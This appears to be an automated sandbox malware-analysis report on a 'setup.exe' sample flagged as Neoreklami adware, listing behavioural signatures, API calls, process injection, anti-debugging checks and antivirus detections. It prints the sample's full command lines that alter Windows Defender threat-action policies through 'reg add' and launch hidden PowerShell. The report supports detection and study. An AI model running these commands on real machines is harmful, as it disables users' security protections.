NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025f8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x025f9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b11000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b12000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b13000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 3056 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04b14000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Local\Temp\7zSC31C.tmp\Install.exe
file	C:\Users\test22\AppData\Local\Temp\7zSC668.tmp\Install.exe

Creates a shortcut to an executable file (1 event)

file	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (5 events)

cmdline	powershell start-process -WindowStyle Hidden gpupdate.exe /force
cmdline	cmd /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
cmdline	forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
cmdline	/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
cmdline	"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

WaitFor has been invoked (possibly to delay malicious activity)

Executes one or more WMI queries (1 event)

wmi	<INVALID POINTER>

A process created a hidden window (6 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW June 17, 2024, 1:31 p.m.	thread_identifier: 2356 thread_handle: 0x00000318 process_identifier: 2352 current_directory: C:\Users\test22\AppData\Local\Temp\7zSC668.tmp filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" filepath_r: C:\Windows\System32\cmd.exe stack_pivoted: 0 creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_SUSPENDED\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000320	1	1
ShellExecuteExW June 17, 2024, 1:31 p.m.	show_type: 0 filepath_r: cmd parameters: /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" filepath: cmd	1	1
CreateProcessInternalW June 17, 2024, 1:31 p.m.	thread_identifier: 2972 thread_handle: 0x0000012c process_identifier: 2968 current_directory: C:\Users\test22\AppData\Local\Temp\7zSC668.tmp filepath: C:\Windows\System32\forfiles.exe track: 1 command_line: forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" filepath_r: C:\Windows\system32\forfiles.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000130	1	1
CreateProcessInternalW June 17, 2024, 1:31 p.m.	thread_identifier: 3016 thread_handle: 0x0000011c process_identifier: 3012 current_directory: filepath: C:\Windows\SysWOW64\cmd.exe track: 1 command_line: /C powershell start-process -WindowStyle Hidden gpupdate.exe /force filepath_r: C:\Windows\SysWOW64\cmd.exe stack_pivoted: 0 creation_flags: 0 () inherit_handles: 0 process_handle: 0x00000120	1	1
CreateProcessInternalW June 17, 2024, 1:31 p.m.	thread_identifier: 3060 thread_handle: 0x0000012c process_identifier: 3056 current_directory: c:\windows\system32 filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: powershell start-process -WindowStyle Hidden gpupdate.exe /force filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000130	1	1
ShellExecuteExW June 17, 2024, 1:31 p.m.	show_type: 0 filepath_r: C:\Windows\system32\gpupdate.exe parameters: /force filepath: C:\Windows\System32\gpupdate.exe	1	1

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory June 17, 2024, 1:31 p.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 1425408 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x10001000 process_handle: 0xffffffff	1	0	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW June 17, 2024, 1:31 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (15 events)

cmdline	forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
cmdline	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
cmdline	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
cmdline	cmd /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
cmdline	forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
cmdline	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
cmdline	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
cmdline	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
cmdline	forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
cmdline	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
cmdline	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
cmdline	"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
cmdline	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
cmdline	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
cmdline	forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

Communicates with host for which no DNS query was performed (1 event)

host

51.15.58.224

Checks the version of Bios, possibly for anti-virtualization (1 event)

registry

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion

Powershell script adds registry entries (1 event)

cmd

forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" powershell start-process -windowstyle hidden gpupdate.exe /force"c:\windows\system32\gpupdate.exe" /force /c reg add "hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction" /f /v 2147735503 /t reg_sz /d 6forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" cmd /c forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"forfiles /p c:\windows\system32 /m ping.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"/c reg add "hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction" /f /v 2147812831 /t reg_sz /d 6.\install.exe /fwdiduckaz "385134" /s/c reg add "hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction" /f /v 2147780199 /t reg_sz /d 6/c reg add "hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction" /f /v 2147814524 /t reg_sz /d 6/c powershell start-process -windowstyle hidden gpupdate.exe /forceforfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" reg add "hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction" /f /v 2147814524 /t reg_sz /d 6reg add "hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction" /f /v 2147812831 /t reg_sz /d 6"c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force".\install.exec:\windows\system32\gpupdate.exe /force reg add "hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction" /f /v 2147780199 /t reg_sz /d 6reg add "hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction" /f /v 2147735503 /t reg_sz /d 6forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6"

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	C:\Windows\System32\gpupdate.exe /force
parent_process	powershell.exe				martian_process	"C:\Windows\system32\gpupdate.exe" /force

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2232 resumed a thread in remote process 2352
NtResumeThread June 17, 2024, 1:31 p.m.	thread_handle: 0x00000318 suspend_count: 1 process_identifier: 2352	1	0	0

Creates a suspicious Powershell process (5 events)

option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-windowstyle hidden	value	Attempts to execute command with a hidden window

Detects VirtualBox using WNetGetProviderName trick (1 event)

Time & API	Arguments	Status	Return	Repeated
WNetGetProviderNameW June 17, 2024, 1:31 p.m.	net_type: 0x00250000		1222	0

Disables Windows Security features (4 events)

description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\2147735503
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\2147814524
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\2147812831
description	attempts to modify windows defender policies	registry	HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\2147780199

File has been identified by 53 AntiVirus engines on VirusTotal as malicious (50 out of 53 events)

Bkav	W32.AIDetectMalware
Lionic	Adware.Win32.Neoreklami.2!c
Elastic	malicious (high confidence)
Cynet	Malicious (score: 100)
CAT-QuickHeal	Trojan.Agent
Skyhigh	BehavesLike.Win32.Generic.wc
ALYac	Gen:Variant.Ulise.482093
VIPRE	Gen:Variant.Ulise.482093
Sangfor	Adware.Win32.Neoreklami.Vvp0
BitDefender	Gen:Variant.Ulise.482093
Cybereason	malicious.ba00ac
Arcabit	Trojan.Ulise.D75B2D
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win32/Adware.Neoreklami.OU
APEX	Malicious
McAfee	Artemis!59F7C6ABA00A
Avast	Win32:AdwareX-gen [Adw]
Kaspersky	not-a-virus:UDS:AdWare.Win32.Neoreklami.gen
Alibaba	Trojan:Win32/Neoreklami.4a851df7
NANO-Antivirus	Trojan.Win32.AVI.komudl
MicroWorld-eScan	Gen:Variant.Ulise.482093
Rising	Adware.Neoreklami!1.D0F5 (CLASSIC)
Emsisoft	Gen:Variant.Ulise.482093 (B)
F-Secure	Trojan.TR/AVI.Agent.ywmjj
DrWeb	Trojan.Siggen28.59864
TrendMicro	Trojan.Win32.AMADEY.YXEFLZ
McAfeeD	ti!D8B670E9C2F3
Trapmine	malicious.moderate.ml.score
FireEye	Gen:Variant.Ulise.482093
Sophos	Generic Reputation PUA (PUA)
Ikarus	PUA.Neoreklami
Webroot	W32.Adware.Gen
Google	Detected
Avira	ADWARE/Neoreklami.ynthl
MAX	malware (ai score=85)
Antiy-AVL	GrayWare[AdWare]/Win32.Neoreklami
Gridinsoft	Ransom.Win32.Wacatac.sa
Microsoft	Trojan:Win32/Neoreblamy.RP!MTB
ZoneAlarm	not-a-virus:HEUR:AdWare.Win32.Neoreklami.gen
GData	Gen:Variant.Ulise.482093
Varist	W32/Neoreklami.C.gen!Eldorado
AhnLab-V3	Adware/Win.Malware-gen.C5640796
BitDefenderTheta	Gen:NN.ZexaF.36806.@tW@amaivPm
DeepInstinct	MALICIOUS
Malwarebytes	Malware.AI.4099277940
TrendMicro-HouseCall	Trojan.Win32.AMADEY.YXEFLZ
Tencent	Win32.AdWare.Neoreklami.Yimw
SentinelOne	Static AI - Malicious SFX
MaxSecure	Win.MxResIcn.Heur.Gen
Fortinet	Riskware/Neoreklami

setup.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All